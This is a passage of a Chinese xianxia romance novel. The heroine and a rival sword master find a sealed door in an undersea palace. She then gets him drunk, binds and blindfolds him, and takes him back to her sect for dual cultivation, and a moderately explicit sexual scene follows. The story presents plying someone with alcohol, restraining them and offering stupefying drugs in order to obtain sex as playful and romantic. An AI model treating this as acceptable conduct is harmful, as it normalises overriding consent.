谢无恙沉吟片刻,当着糜月的面,伸手至腰间捏住系带轻轻一扯,原本束得整齐的领口随之敞开,露出了冷白如玉的肌肤,在月夜之下泛着温润清冷的光泽,肌理线条分明,透着内敛的力量感。 在他右肩的肩头,一块深红的掌印赫然醒目,糜月的目光不由自主得被吸引过去。 她下手真的没什么轻重的…… 在那掌印处停留片刻后,她视线不由得往下游移,落在那结实紧致的腹部。 不但没忍住瞟了好几眼,还在心里数了数。 一块,两块,三块……八块。 啧啧,这狗剑修身材倒是真好。 似是没有察觉到她打量的目光,谢无恙神色从容,手指轻轻蘸取了些药粉,涂抹在掌印处。直到慢吞吞地上完药,他才不紧不慢地将衣襟穿好,有条不紊地将扣子一颗颗系上,仿佛又恢复了往日清冷端直、不可侵犯的禁/欲系剑修的模样。 糜月大大方方地看完了他上药的全程,脸上没有一丝难为情的羞赧,直到对面的人抬眸,一瞬间四目相对,谢无恙的眼眸乌沉深邃,宛若幽潭,却又清棱透光,仿佛能直直看透人心。 她忽然有种小心思被抓到无所遁形的感觉,清咳一声,有些不自然地迅速瞥开视线,偏头望向灵舟远处的风景。 那情毒不是已经解了么,怎么还感觉脸颊有些发烫? 她心下不解,干脆闭上眼睛,不再搭理对面的人,趁着灵舟还未到,见缝插针地修炼打坐。 一路上,二人相顾无言。 糜月沉浸在修炼之中,直到谢无恙将灵舟稳稳停好,叫了她一声。 她睁开眼,发现已经到了隐剑宗辖地附近的海域之上。 她明白谢无恙早早停下灵舟,改为御风行走,是想低调隐蔽行事,不想惊动隐剑宗的人。 可跟着他御风在海面上行了二里,糜月终是有些不耐烦起来:“你说的另一个入口,到底在何处?” “差不多就是这里了。”谢无恙道。 糜月低头看着脚下还算平静的海面,有些惊讶:“在海里?” 谢无恙点头,率先纵身跃进海水之下,糜月见状也只好跟着他钻进海面。 好在今日天气不错,没有什么风浪,海水能见度很清晰,但东境已是寒冬时节,海水冷彻刺骨。 糜月向来是很怕冷的,但为了找寻娘亲的下落,一颗心焦灼得发烫,也感觉不到寒冷了。 她跟着谢无恙一直往海底深处游。 不知游了多久,光线越来越黑,时不时还有不长眼的小鱼撞在她身上。 糜月不禁传音问他:你说得那地方有多深? 谢无恙也不好估算距离,转过身,牵住了她的手腕,只道:跟我来。 有他在前面开路,糜月游起来也没那么费力,又游了大概一炷香,二人的面前出现了一座山体的岩壁,似是小岛没入海下的礁石部分。 糜月环顾了这岩壁一圈,也没发现有疑似是洞口的地方。 她扭头去看谢无恙,只见他靠近岩壁,伸出手来左摸摸右摸摸,似是确定了位置,然后往后退了两步,随即召唤出神相,一条身形粗壮堪比幼年蛟龙的白蟒出现,瞬间朝着面前的岩壁直直轰撞了过去。 “轰”地一声闷响。 在岩壁被撞开的刹那,谢无恙拉着糜月,迅速地从那被轰开的石洞里钻了进去。 随着他们有了双脚着地的实质感,身后那个被撞开的大洞竟然奇迹般地自己复原了,将涌进来的海水隔绝在了外面。 糜月环顾四周,发现身处在一处石砖筑成的通道内。这里石砖的表面和顶部镶嵌的夜明珠,和地宫的风格一模一样,俨然此处就是在地下秘宫的某处。 墙壁的每一块石砖上都刻着修复阵法,仿佛是老祖们在建造地宫时,担心建造在海底的部分,会受到大型生物的攻击,特意在每块石砖上都加固了修复阵法。 “谢无恙,敢情你说得另一个入口,就是硬生生把我宗的秘宫轰一个洞出来?”糜月挑眉看向带路的某人,“你是怎么想到这个法子的?” “……” “运气好,试出来的。” 谢无恙如实道。 在一丈仙带回消息后,他想要验证消息是否准确,但不知进入秘宫的口诀,且秘宫大门只能在满月之夜开启。于是便想着另辟蹊径,既然是地下秘宫,那一定就在玉京山底,而玉京山有一半都没入了海水之下。 谢无恙回忆起,秦不眠曾经和那蛟龙打斗的方位,十分靠近玉京山在海水下的山体。于是他花费了整整三日,一直绕着海底山体寻找。 起初抱着试试看的想法,没想到真的被他用神相轰开了一道隐秘的地宫墙体。 糜月环顾四周,这地宫的墙体从外面看已经和山体岩壁融为一体了,难以分辨,能找到这里,也算他厉害。 白蟒在撞开岩壁的瞬间,也跟着扎进了地宫里。它没想到主人把它从灵府里拽出来的第一个指令就是让它撞山,撞得它脑壳生疼。 白蟒甩了甩发懵的脑袋,一抬头发现了主人身边站着的糜月,竖瞳一亮。 这不是它被抢走的大宝贝么! 白蟒激动地吐着鲜红的蛇信,蛇身兴奋地一扭,便要往她身边凑。 结果被谢无恙眼疾手快地揪住蛇尾,在蛇脑袋还没拱到糜月身前,收其回灵府,偌大的身形顿时化作雾气消散。 糜月还记着上次入他灵府被这白蟒占了便宜的仇,若非谢无恙收得快,她还得给它赏两个耳光。 她眉梢轻挑,啧了一声:“你这只神相性子倒是和你截然不同。” 谢无恙不置可否。 糜月想他这人看起来清冷淡薄,无欲无求,可是他的神相白蟒全然与他相反,嗜杀狡狯、欲壑难填,仿佛集合了他所有的负面性情,就像是他潜藏在深处,不为人知的另一种人格。 自从见到他的神相白蟒,糜月有些后知后觉地明白了。这世上哪里真得存在不食人间烟火的仙者,真的无欲之人是走不上修炼这条路的,无非是在压抑着罢了。 二人没有耽搁时间,沿着通道,继续往深处走。 撞开洞口时带进来的海水,堪堪淹没过他们的脚踝处,走了十余步,面前出现了一层向上的阶梯,还有继续往下的阶梯。 地宫里竟然真的别有洞天! 糜月偏头去看谢无恙,后者开口道:“往下走。” 二人一前一后,沿着向下的台阶走去,下了百阶之后,狭窄的视野开阔起来。 面前是一座高大古朴的石门,和秘宫大门的制式有些像,上面刻着复杂的阵法纹路,旁边也有一处验血的机关凹槽。 “一丈仙说,与你血脉相连之人的气息就在这门后。” 想到娘亲可能就和她只有一门之隔,被困在里面多年不得出,糜月抑制不住心底的激动,二话不说,当即低头咬破了手指,将鲜血滴入验血的玉石槽中。 随着她的鲜血滴入,霎那间,一道柔和的光芒从石槽处沿着大门的纹路,逐渐蔓延开来,亮起了八个璀璨的星芒,如同一串神秘的珠链镶嵌在石门上,将昏暗的四周照亮了些许。 然而石门仍紧紧地闭合着,并未有打开的迹象。 糜月上前仔细一看,只见在那八颗星芒的旁边,还有一颗星芒黯淡无光,尚未被点亮。 …… 第57章 第 57 章 绑他回去做侍宫。 糜月看着那颗黯淡的星芒, 皱起眉头,思索片刻,恍然失声道:“这石门竟然要烬虚诀九重境才能打开!” 本以为能得到娘亲下落的线索, 如今却被这道石门相拦。 糜月火上心头,掌心凝出数道烬花神相, 气急败坏地朝那石门轰去。 “可恶!” 被施加了禁制的石门显然和那些用来支撑的墙面不一样, 糜月数道神相轰下去,紧闭的大门纹丝不动。 反倒是地宫的天花板因为她的狂轰滥炸, 而簌簌地往下掉着灰土。 看到那石门的时候,谢无恙的心里也有些复杂。 如果她的娘亲气息尚在,那他的师父会不会也没有死, 而是同样被困在了这堵石门后? 秦不眠未曾娶妻生子,神陨之后, 并没有留下任何能保留他气息的东西。谢无恙所饲养的灵蛇一丈仙, 需要用头发、血液这样直观的媒介, 才能追寻到气息。 更何况, 秦不眠和糜芷音的魂灯皆已灭, 他也以为他们都死了,若非阴差阳错地用糜月的头发去查,只怕这辈子都查不到这里来。 谢无恙看到糜月手中不断凝结神相砸着石门, 眼眶里隐隐闪着泪光, 没有阻止她, 任由她将烦闷和郁结发泄出来。 轰了十几道神相出去,糜月抬袖擦擦眼泪,情绪逐渐冷静下来。 这石门并非无法打开,是她还不够强。 “那道向上的阶梯通向何处?”糜月微微泛红的眼眶,看向谢无恙。 “……那里我未曾去过。” 谢无恙在发现了这处地宫后, 便没有继续探索,而是去烬花宫把这个消息告诉了她。 他知道这地宫是烬花宫所造,他独自一人在别人的秘宫里瞎转,若是看到了什么不该看的,那便说不清了。 “再去上面看看。” 这石门尚且打不开,在这里耽搁下去也是白费力气。 二人随后原路返回,沿着阶梯往上走。 随着一道石门打开,糜月和谢无恙又来到一处宽阔的地带,熟悉的陈设映入眼帘,正是刻着烬虚诀心法、她曾经来过的那一层地宫。 随着石门关闭,糜月回头看去,那石门上刻着隐匿阵法,和墙壁融为一色,一般人根本不会注意到这里还有一扇隐形的石门。 她立马转身,瞪着谢无恙:“你背过身去,这里有我宗绝密心法,你不准偷看!” 糜月自知他习得是隐剑宗心法,已经修炼至快渡劫期的境界,自是不可能舍去修为去修她们烬花宫的烬虚诀,但事关烬花宫机密,带他进地宫已经是破例了,绝不允许他多看一眼心经石壁。 “好……” 谢无恙倒是很配合地立马转过身去。 糜月走近刻有烬虚诀心法的石壁,原地席地而坐。 她轻咬下唇,心下暗自猜测,这道石门需要九重境才能打开,也就是说她娘亲并非她以为的八重境,而是早已突破桎梏,臻至巅峰九重境了,所以才能打开石门进入到另一端? 深吸一口气,糜月缓缓抬头,双眸紧锁着石壁上密密麻麻、晦涩难懂的心法文字,逐字研读,同时双手结印,进入打坐修炼的状态。 八重境后期的心经每解读一个字,就像是在攀爬一座陡峭且布满荆棘的险峰,她的精神高度集中,却又如履薄冰,稍有不慎,就会倾覆于悬崖之巅,前功尽弃。 随着时间的流逝,糜月看到最后,已是神识刺痛,仿佛身处在无尽的混沌漩涡,周围的一切都消失远去,只剩下那些晦涩难解的文字在心间翻涌。 在她的视线都开始模糊,她强打精神,用尽最后的意志,将这八重境最后一卷的每一个字符,都艰难地烙印在自己的识海深处。 只要能将这些心法完全理解,融会贯通,加之勤勉修炼,她便能冲破八重境的桎梏,步入烬虚九重境界。 然而大境界的突破比小境界要难得多,她是八重境中期,糜月估算着要彻底消化掉这些心法,想要突破到九重境,至少还需要半年的时间。 糜月揉着额角,有些疲惫地站起身来。 这地宫里潮湿无光,呆久了还有一阵胸闷的窒息感,压抑得很。 糜月转过身,看到谢无恙十分守信地背对着她,一动不动地伫立在那里,心中紧绷的心弦,悄然松了些许。 “走吧,我们先离开此处。” …… 两道身影一前一后的破出海面,卷出层层雪白的浪花。 海上风声猎猎,少女身姿蹁跹,轻薄的裙摆灵动地荡开,墨发湿漉地贴在艳丽白皙的面颊上,长睫挂着细密的水珠,恰似晨起含露的蝶翼,轻轻扇动间,抖落点点晶莹。 谢无恙目光沉静地掐了一道净尘诀,转瞬间,二人的衣物便恢复了干洁清爽。 糜月显然心情不佳,不发一言,转身往停靠灵舟的方位御风而去。 登上灵舟时,糜月不经意地偏头,发现谢无恙还跟在她身后。 “你要回烬花宫?” 糜月看了眼他搭在灵舟扶栏上的手:“不然呢。” 他顿了顿,又问:“你突破九重境,需要多久?” “至少半年。” 说起这个,糜月忍不住想泄气,半年已经是她日夜不歇专心修炼的极限了,放在以前缺少烬虚诀心法的时候,这样的修炼速度她都不敢想,如今她只恨太慢。 攻打隐剑宗的事也要因此延后,她现在首要做的是就是静心修炼,早日突破九重境,回来打开那道石门,这全天下什么要紧的事,都不抵她的娘亲重要。 “你回去之后,是不是还要继续……同你那位侍宫双修?” 谢无恙眼神平静,无波无澜,似乎只是寻常随口地一句询问,糜月却从他的语气里,听出些许咬牙切齿的意味。 糜月眨巴了下眼,双修? 对啊,她怎么差点忘了这条捷径! 若是找个适合的双修对象,灵力互补,倒是能大大提高她修炼的效率,这样便要不了半年,只消三个月便能教她突破九重境大关。 糜月还未来及高兴,眉头又紧蹙了起来,她身边唯一的侍宫沈灵淇,因为给她偷下情毒之事,被她打成了重伤。 眼下上哪再去找一个修为能同她匹配的侍宫去? 糜月咬着指尖,蹙眉思索了片刻,眼神无意扫过面前人如雪的袍角时,忽然灵光一现,抬眸对上谢无恙的双眼。 远在天边,近在眼前。 谢无恙的修为几乎是东境最强,其他零星两三个修为能与他比肩的修士大能,都已经是白须飘飘的老家伙了。 她就算是搜罗全天下的男修,怕也找不到比谢无恙更适合双修的人了。 谢无恙看着她有些雀跃又似想到什么麻烦似的蹙起眉,继而又瞪大眼睛,眸光闪闪地上下扫视了他两眼,并没有否认他的问话。 当下有些如鲠在喉。 要论修为,他比沈灵淇不知高了多少境界,她若想尽快提升修为,没有比他更好的双修人选了。 可是这样自荐枕席的话,实在让他难以启齿。 “多谢你来告知我关于我娘亲的消息,临行前,我敬你一杯酒吧,就当是为那一掌赔罪了。” 糜月忽然从储物袋里地拿出一壶酒,招呼他坐下,又拿出两只白玉杯盏,添了满满的两杯酒。 她拿起一只酒盏,仰头饮尽,同时把另外一只酒盏递到他面前,唇角漾着笑意。 “这是我烬花宫的梨花酿,很好喝的,你要不要尝尝?” 谢无恙看着少女笑盈盈又暗藏狡黠的星眸,和那日上元节,小姑娘弯着圆圆的杏眼,捧着酒杯劝他罚酒的样子,如出一辙。 她翻来覆去,只会同样的招数…… 她上次灌醉他是为了想支开他进地宫,这次又是想要如何? 糜月见他没动作,扬了扬眉:“你不喝吗?这般不给我面子?” 谢无恙抬眸看他一眼,伸手接过酒盏。 这次,糜月目光紧盯在他身上,一眨不眨,真真切切地瞧着他把那杯酒喝完了,这才满意地眯眼笑了笑:“味道如何?这海上寒气凛冽,配上这烈酒,倒也相得益彰吧?” “嗯。” “那就多喝两杯?” “好。” 茫茫的海域之上,空悬着一艘灵舟,二人对坐着浅酌,海风轻拂,带有清幽梨花香的酒香,丝丝缕缕地飘散开来,与海风交织缠绵,一时间暗香浮动。 她平时不怎么爱喝酒,只逢年过节喝上几杯,但她的酒量,对付起一杯倒的谢无恙,已经算是绰绰有余。 糜月一直观察着谢无恙的神色,从第二杯酒下肚,他冷白的面颊便微微浮上了粉色,眼神有些恍惚,俨然有些醉意醺然。 “谢无恙,你还能喝吗?” “……” 后者睫羽低垂,毫无反应。 糜月又伸手戳了戳他手臂和肩膀,趁机点了他两处穴道。 谢无恙仍旧毫无反应,呼吸有些发沉,处于将睡未睡、将醒未醒的游离状态。 糜月当即动手,从储物袋里拿出绳索来,把他的双手牢牢绑了起来。为防止他挣脱,这绳索还是个上品的灵器,越挣动反而会束得越紧。 “谢无恙,要怪就怪你师父,自己渡雷劫还要把我娘亲拉上,害得她困在地宫里不得出,眼下他不知生死,你说,这账是不是得你来还?” “别说是我不讲道理,我也是没办法,”糜月嘴上说着没办法,眼里却丝毫没有歉意,手指又轻戳了戳他白皙俊美的脸,叹了声气,“为了早点救我娘亲出来,只好把你绑回去做侍宫了……” 第58章 第 58 章 被她握在了掌心。 糜月将谢无恙绑起来后, 怕他醒酒,于是在启程回去的路上,她还时不时地捏开他的下巴, 给他灌上两杯酒。 他若是真的清醒过来,区区上品灵器也够呛能困住他。 被她强喂下烈酒的谢无恙时不时清咳, 低垂着头, 脸上微醺的粉色一直都没有淡下来过。 糜月心里有些得意。 在她眼中,此时乖觉到坐着一动不动、没有半分挣扎苗头的谢无恙, 完全是酒意所致,意识恍惚的他估计连自己说了什么都无法理解。 这人还是对她的警惕心太轻,明明上次灌醉过他一回, 这次还是这么轻易地就中了招。 她暗道,该不会天真地以为, 自己真会给他这个宿敌赔罪, 握手言和了? 怎么可能。 此行虽得到了她娘亲或许没死的消息, 但尚未见到她娘亲一日, 她对秦不眠的怨气和恨意并不能消减一分, 自然做不到以什么好态度去对待他的亲传徒弟。 糜月丝毫没有注意到,她在说完要绑他回去做侍宫后,他耳后悄然泛上的红晕。 …… 糜月十分顺利地将人绑回了烬花宫。 将人丢在她的床榻上后, 她便召集副宫主们, 去厅堂开会去了。她娘亲的气息尚在之事, 她必须告知她们。 副宫主们乍听此事,各个脸上难以置信到凝固的表情,和当初听闻消息的糜月别无二致。 “这怎么可能?前宫主的离魂灯明明……” “宫主,这消息属实吗?” 糜月点头:“嗯,我猜测那道石门会隔绝神念, 所以魂灯会灭,我娘亲的确也曾去过那座地宫,我在里面发现过她留下的手稿。” 离魂灯是靠感应神念来判定主人的生死,而谢无恙饲养的一丈仙追踪得是血脉和气息,范围更广。 糜月觉得此事确凿无疑,不然谢无恙也不可能知道会有地宫,还能在海底准确地找到炸开石洞的位置。 她凝声问在场的众人:“我娘可有和你们提起过,那地宫最下层的石门之后有什么?” 在场副宫主都是宗里比她年纪更大的老人,或许会知道什么。 “前宫主从未同我们说过……” 副宫主们纷纷摇头。 前任宫主糜芷音看似性子随和温柔,但实则比糜月更有主意,经常以离宫办事为由,不知去向。最长的一次,离宫了将近半年的时间,她更不会告诉她们这些下属去了哪里。 糜月心下失望,看来,唯有打开那座石门,才能知道娘亲身上到底发生了什么。 “前宫主虽然离魂灯灭了,但尸身一直未找到,那地宫是我烬花宫老祖所造,说不定真的暗藏玄机,保住了前宫主的命。” “对,前宫主当年就死得蹊跷,如今哪怕有一丝找到的可能,都不能放过!” 副宫主们说着说着忍不住眼眶都湿润了。 但那座地下秘宫只有宫主嫡系方能进入,副宫主们得知此事,也只能干着急,帮不上她的忙。 “宫主,沈灵淇如今还重伤未醒,你身边没有人服侍,”廖红叶深知要想让糜月短时间内突破烬虚诀九重境,并不容易,双修必不可少,于是开口道,“明日我为宫主挑选两位侍宫,助宫主修炼。” 眼下糜月的修为关系着找到前宫主的事,只怕全烬花宫上下都要盯着督促她修炼了。 “不必,我把谢无恙绑回来了,以后我便同他双修。”糜月淡定说道。 此话一出,满座皆惊。 副宫主们惊讶又钦佩,前日,她们几人联手围攻都不是东极剑尊的对手,不愧是宫主,竟然将人给绑来了…… 廖红叶闻言惊讶过后,反而放了心。 大多数出自名门正派的修士,都不愿甘为她人的侍宫,修为越高,越是如此。所以烬花宫的侍宫,大都是从小培养,所以对她们很忠心。 但这些侍宫们的修为最高,也不过是相当于烬虚诀六重境满境的修为,远比不上谢无恙那近渡劫期的境界。 若是谢无恙能同宫主双修,那再好不过,效率赶得上十个侍宫。 至于隐剑宗那边…… 反正两宗都已经是相见眼红的敌宗,无需顾虑。 糜月和廖红叶是一样的想法,她看中了谢无恙那一身修为,还是薛紫烟和江蘅的事给了她的启发,既然看中了人,管他三七二十一,先绑回来便是。 她一向行事任性恣意,想得到什么,就会不惜代价地弄到手。 薛紫烟还替她出主意:“宫主,那谢无恙肯乖乖听话?他若是不从,催情香和迷魂散管够……” “算了吧,你炼制的那些情香、迷魂散都对他无用,”糜月好整以暇道,“不过我也有办法让他听话,这几日叫人多往我殿里送些酒来。” …… 主殿里,烛火飘摇明灭,床幔层层叠叠地垂下,上面绣着的花纹金线在烛光的映照下仿若流云般浮动隐现。 谢无恙被丢在那张宽大的雕花软榻上,他双眼处被覆上了一层雪白的缎带,蒙住了他的双眼,绳索紧紧捆绑着他的手腕,身上的穴位也被糜月用灵力封住了。 谢无恙的确被她灌得有些醉了,但意识还是清醒的。 他当真没想到糜月之所以想灌醉他,是要绑他回去做侍宫。 他觉得自己就算是做梦,也不敢梦见这样的好事。 过了没一会儿,殿门被人推开,和副宫主们开完会的糜月回来了。 她望向躺在她床榻上的男修,长发略显凌乱地散着,那双狭长的眼眸被白布遮了起来,只露出线条优越的鼻梁和薄唇。他身上洁净如雪的素色白衣,和她那花团锦簇、奢靡浓艳的床铺颇为不搭。 他被她灌了不少的酒,听到她推门进来的动静,嗓音些低哑:“……糜月?” 糜月意外地挑挑眉,还能认出来是她,这人的意识竟然还挺清楚的。 记得她是谁便好,别等到清醒之后,连谁要了他都不知道。 “这里是烬花宫,你不要想着逃跑,谢无恙,也算你倒霉……眼下我身边没有可用的侍宫,又急于突破,你陪我双修至突破九重境,我就放你回去。” 说完,糜月才觉得这画大饼的说辞,和薛紫烟对江蘅的允诺异曲同工。薛紫烟说等糜月回来,就放江蘅回宗,结果食言反悔。 但糜月觉得她和薛紫烟不同的是,她会是个守承诺的人。 在她看来,把谢无恙绑来是救急用的,说难听点,和合欢宗惯用的炉鼎没什么区别,同时心里还有一点点残存的良心,用完就放他自由,总不能关他一辈子。 谢无恙对于她为了急于突破境界,就能绑个人回家随便双修的行为,有些说不上来的无奈和忿然,但又有些庆幸那个人是自己。 心下有些纠结,他要不要假装反抗一下? “糜月,你当真想好了?我若……” 话未说完,糜月强硬地打断他:“谢无恙,你别想着威胁我,今时不同往日,这里可是烬花宫的地界……” 她觉得谢无恙的后半句话,定然是“我若能摆脱束缚,定要你付出代价”之类的威胁。 “从现在开始,不许说话,不然我就把你的嘴巴也蒙起来!” 少女质感清甜的嗓音,带着几分刻意压低的恶狠狠。 谢无恙闻言,喉结微微滑动一下,乖乖抿起唇,不说话了。 糜月转身走向案台,执起银制香匙,往雕花香炉里添上自己素来钟爱的苏合香,拿过一盏烛灯,放在榻边的桌案上,继而走向她的床榻。 谢无恙微微侧向光源,感觉到他的右手被人拿起来。 糜月低眸看了看他的手,她在他食指上咬的那一口,已经愈合了,而上次从隐剑宗离开时,用匕首在他掌心划出来的伤,还留着浅浅的疤痕。 她继而挥袖将窗台边的烛火灭了两盏。霎那间,殿内的光线变得昏暗柔和,只剩下几缕微弱的烛光在这静谧的夜色中跳动着。 光影交错间中,少女的身影曼妙纤秾,在地毯上投下朦胧影绰的倒影。 而双眼被蒙的谢无恙,更是只能感受到周遭的光线似乎暗了许多,一道深色身影倾近了他,仿佛雾里看花,带着几缕难以捕捉的、如同记忆中桃花树下的丝缕暗香,萦绕鼻尖。 糜月敛眸看着榻上的男修,想到当初他为了逼她现身,放出谣言说和她有一个女儿,现如今,竟然真轮到她将那则谣言坐实,让他做服侍自己的侍宫,供她修炼。 她伸手取下他已经有些松散的发带,那只雪白纤细的手,继而放在他腰间的束带上。 糜月动作微顿,不知为何,先前沈灵淇邀请她双修,都被她下意识拒绝,但如今床上的人换成了谢无恙,她不仅没了排斥感,反而还有些跃跃欲试的兴奋。 谢无恙总是一副遇事波澜不惊,清冷到出尘的样子,尤其是他师父秦不眠死后,他好似便再没了弱点,数年如一日地苦修剑道,直到成了四境魁首、高高在上的剑尊。 糜月总觉得他这个人好似被一层坚冰厚厚包裹,隔绝了他与这烟火人间,让他整个人都沉在遗世独立的清冷之中,恰似隆冬里最孤寂的霜雪。 或许,那条被关在他灵府里的白蟒,才是真正的他自己。 她想看他方寸大乱,那幅清冷自持的面具龟裂崩坏,想看他声名狼藉、坠落尘埃。 这何尝不是报应不爽。 雪色束带从她手中滑落,白皙的指尖划过她数过的那八块肌理,触感如温热的暖玉,她眸光闪烁,呼吸之间也多了两分粘滞感,好似内心一处不为人知的隐秘,被满足了。 俩人几乎要挨在一起,呼吸彼此可闻,糜月甚至能听见他胸膛处传来的心跳声,似乎比平时更快。 糜月平日里受副宫主们的耳濡目染,加上平日里也没少看那些话本杂书,并非全然不通床中事。 谢无恙被蒙着眼,然而在黑暗之中,触感和感知被放大了数倍,衣料细微的摩擦声、滑落声,来自她手心的柔软温热,一切都无比清晰。 他感觉到他被她握在了掌心。 从未有过的,被支配被掌控的感觉,让他身体在一瞬间紧绷,每一寸肌肉都像是拉满的弓弦。她的动作很轻柔,却好似无形的绳索,将他紧紧缠绕,又似巨浪潮水朝他淹没而来。 这种失控感让谢无恙心惊。 糜月看到他雪白的喉结滑动了下,像是干渴许久的人突然触碰到甘霖,喉咙里难以抑制地发出了一声低低的喘/息。 没有情香的辅助,她还以为这个过程会很艰难,八成要硬来了。 没想到她刚碰到谢无恙,后者就起了反应。 她似是不解,意外地挑了挑眉梢,眼中闪过促狭和疑惑:“谢无恙,你怎么动情了,你对我这样的妖女也能动情吗?” …… 第59章 第 59 章 箭在弓弦,临门一脚。…… 榻上的人没有回应她的话, 似是意识到方才发出的喘/息声有些过于轻浮浪/荡,他立刻屏气敛声,眼尾发红, 连呼吸都变得隐忍克制。 糜月才想起来,是她方才警告过他不准说话。 低垂的床幔宛若层叠的绮梦, 将置于殿中的雕花牙床半遮半掩。 殿角的铜制香炉里炭火正旺, 不时发出轻微的“噼啪”声,溅起几点转瞬即逝的火星子。苏合香的烟雾便在这细微声响中, 肆意地缭绕着,仿若一层淡雾薄纱,将卧榻上的人笼罩其中, 旖旎又暗昧。 窗外弯月如钩,箭在弓弦。 糜月解掉谢无恙的束带后, 只差临门一脚时, 忽然有点打起了退堂鼓。 她想起在他灵府中的那一幕, 那白蟒从鳞片里探出的狰狞之物, 着实给了她莫大的冲击。 谢无恙他自己的那个……不会也那么奇怪吧。 若是那样, 她宁可双修的速度慢一些,去另寻别的侍宫…… 昏暗的烛光下,糜月微红着脸, 低头匆匆瞥了几眼。 还好……只有一个。 虽然尺寸有些大到超乎她的预期, 但长得倒是比白蟒的好看多了, 也不是不能接受…… 糜月微吸了一口气,闭上眼睛,在心里默念,都是为了修为,就当被蛇咬了一口。 她虽然理论知识多, 但到底是个新手,这事真的实施起来,和那些话本子里说得全然不一样。 她研究揣摩了半天,哆哆嗦嗦,犹豫纠结,不得其法,只在关隘之处徘徊游离,折腾得额头冒汗,腿弯处都有些酸了,最后像条咸鱼般,摆烂地仰躺瘫倒在了谢无恙的身边。 双修……怎么这么难? 谢无恙也被她这说要不要的招数,折磨得不上不下,几欲发疯。 他不知道她是不是故意想到这个法子来折磨他,如果是,那她成功得很彻底。他不是容易出汗的体质,如今连腹部的薄肌上都渗出了汗珠,沿着两侧沟壑的往下淌。 他灵府中的白蛇感应到了他此时的状态,正在他的灵府里发疯,嘶吼着想出来。 如果摘掉他眼上的白布,能看到狂乱的情/欲完全掩盖住往日的镇定理智,他甚至忍不住想开口求她了,直到糜月体力不支,从他上方跌下来,谢无恙方才意识到她也不是故意为之,而是不得要领。 “糜月……给我解开绳子。” 昏暗的烛光里,糜月看不清谢无恙的神色,只听到他嗓子哑得厉害,仿佛已经快忍耐到了极点。 “不行……” 糜月果断拒绝,若要解开,他要是跑了,或是恼羞成怒,要和她打一架怎么办? 她现在手酸腿软,根本打不过他。 谢无恙似是长叹了一口气:“你这样……到明日早上也做不完,你难受,我也很难受。” 糜月犹豫:“可是……” “我知道你同我双修,是为了尽快提升修为,并不是非我不可……” 谢无恙知道她并非真心愿意同他亲近,仅仅是为提升了修为,心下又有些说不出的酸涩泛苦。 “但我非你不可。你放心,我会配合你,帮你……尽快打开那道地宫石门。” 谢无恙的话,让糜月一怔。 非她不可是什么意思? 帮她打开那道石门…… 是了,当年秦不眠和她娘亲一起失去踪迹,若她娘亲气息尚在,那秦不眠神陨之事,说不好也会有转机。 如今这世上,唯有她能打开那道石门,所以非她不可,为了救他师父,谢无恙也不会拒绝和她双修的。换句话说,应当是他求着她双修,他本应出这一份力。 想明白这点,糜月解开了他手腕上的绳索,下一刻,就被拥入一个满是雪松香的怀中。 情形在一瞬间,反客为主。 糜月隔着最后一层小衣,感受到有力的臂弯禁锢在她的腰侧,感受到紧贴的炙热,有种不太好的预感油然而生。 有些后悔不该给他解开绳子…… 没了束缚,久躺在榻上的某人终于得以自由行动。 “别,不要摘下来……” 糜月见他想要摘掉眼睛上覆着的白布,忙伸手握住他的手指,阻止了他的动作。 不知为何,一想到他那双清凌凌的眼睛,她就莫名地会紧张,也许是因为这层遮羞白布,她方才才能那般肆无忌惮。 谢无恙依言放下了手,虽然在这个时候,他很想看着她,想看看她明澈漂亮的眼睛,那里面到底会不会有他的影子,会不会因为他有哪怕一丝丝波澜和情动。 因为看不见她的模样,谢无恙只能用触碰去感受她的存在,低头靠近他怀里柔软的热源,修长有力的手指插/进她的发丝,掌心覆着她的后颈,高挺的鼻尖几乎贴在了她的脸上,轻轻嗅闻着她的味道,薄唇也过分得擦过她的脸颊。 糜月微睁大了眼睛,接吻也是双修的一环? 可她看过的双修指南里,明明没有这一步。 她将手挡住唇和小半张脸,微别过头去,黛眉轻蹙:“双修就双修……别做其他多余的事。” 一个小心翼翼的吻落在她颈间,觉察到她的拒绝,蜻蜓点水后便克制地移开。 糜月手中也轻抓着他的墨发,呼吸之间,全是他身上的雪松香还有桂花酒的残香,她并不讨厌这个味道,反而觉得比她常用的苏合香更好闻一些。 微带着薄茧的指腹摩挲过她颈后的肌肤,顺着脊背下移,每一次触碰后都留下一阵酥麻,糜月实在不想动了,脑袋半埋在他的胸口处,感觉到他的身体同样在轻颤。 他在紧张什么? 然而,很快糜月就知道了。 谢无恙更是个床笫上的新手,而且还蒙着眼,他不仅没吃过猪肉,更没见过猪跑,事实上,他还不如看过话本子的糜月,动作不仅生疏还有些不得其要的笨拙。 关键时候,糜月感觉自己仿佛是历经狂风暴雨的枝头残花,被捶打得七零八落,又像是被放进石臼里的果子,一石锤下去被撵得稀烂。 痛吟声卡在了喉咙里,糜月疼得眼泪都快下来了,声音发抖:“谢无恙,你给我出去……疼……” 她条件反射地抬脚就踹向身上的人,一脚下去没踹动,反而被人反手捉住脚踝。 谢无恙捕捉到空气里那丝淡淡的血腥气,当即摘掉了眼前的白布,周遭烛光幽微,但扔挡不住面前风光半掩、令人脸红心窒的美,更叫人难以忽略的是,在她身上的床单上落有一抹刺目的红。 他深吸一口气,低哑着嗓子艰涩道:“……我去给你拿止血药。” 止血药有什么用…… 糜月感觉自己像是受了内伤,把脚从他手里抽回来,一把拉过旁边的被子,将身子盖住,抽着有点发红的鼻子,委屈闷声:“不做了,睡觉。” 说罢,抬头泪眼汪汪,瞪着面前的罪魁祸首,“你、不许跟我睡一个床,滚去侧殿!” …… 薛紫烟和廖红叶来到主殿时,发现坐在桌案前的宫主,脸色有些显而易见的难看。 昨夜,宫主和东极剑尊双修,她们还以为会俩人会折腾到很晚,没想到宫主起得竟然比平时还要早,宫门早早地就敞开了,侍从们人来人往。 廖红叶下意识猜测,宫主脸色这么差,该不会和昨晚与谢无恙双修之事有关吧? 她和薛紫烟交换了下眼神,在彼此的眼睛里看到了同样的疑问。 于是廖红叶谨慎地先问了一句:“宫主,你们昨晚双修得如何?” 眼下她的修为关系着找到糜芷音的线索,副宫主们都格外关心。 糜月见她们来了,把手里的笔杆往笔架上一放,没好气道:“还双修呢,我都快疼死在床上了……” 双修的第一步是肉/体结合,二人气息交融,为灵力运转奠定基础,第二步是在彼此交融时,引导灵气灌入对方的经脉之中,加速冲击穴窍的过程,第三步才是灵肉双修共鸣,融会贯通,双修大成。 她连最简单的第一步都卡住了,还谈什么双修。 糜月从昨晚一直生闷气到现在,眉眼间都是烦郁之色。 